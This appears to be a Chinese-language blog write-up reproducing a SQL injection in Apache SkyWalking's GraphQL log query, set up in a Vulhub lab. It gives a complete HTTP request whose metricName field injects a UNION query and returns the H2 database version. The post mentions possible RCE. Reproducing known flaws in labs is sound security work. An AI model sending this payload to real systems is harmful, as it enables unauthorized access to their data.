Babing
Published on 2024-08-30 / 2 Visits
0
0

A23-1ApacheSkyWalking-SQL

A23-1ApacheSkyWalking-SQL

漏洞描述:

当Apache SkyWalking使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数,结合 h2 数据库(默认的数据库),可以导致 RCE 。

影响版本:

   Apache Skywalking <= 8.3  

网站图片:

image-20240620191656078

网络测绘:

Vulhub执行如下命令启动一个Apache Skywalking 8.3.0版本:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看Skywalking的页面。

漏洞复现:

payload:

POST /graphql HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 662
Origin: http://123.58.224.8:24265
Connection: close
Referer: http://123.58.224.8:24265/
Cookie: __utma=75495954.923736098.1678599057.1678599057.1678599057.1; __utmz=75495954.1678599057.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

{
    "query":"query queryLogs($condition: LogQueryCondition) {
  queryLogs(condition: $condition) {
    total
    logs {
      serviceId
      serviceName
      isError
      content
    }
  }
}
",
    "variables":{
        "condition":{
            "metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
                        "endpointId":"1",
                    "traceId":"1",
                    "state":"ALL",
                    "stateCode":"1",
            "paging":{
                "pageSize":10
            }
        }
    }
}

效果图:

可以看到成功报错,返回数据库版本信息,漏洞存在。


Comment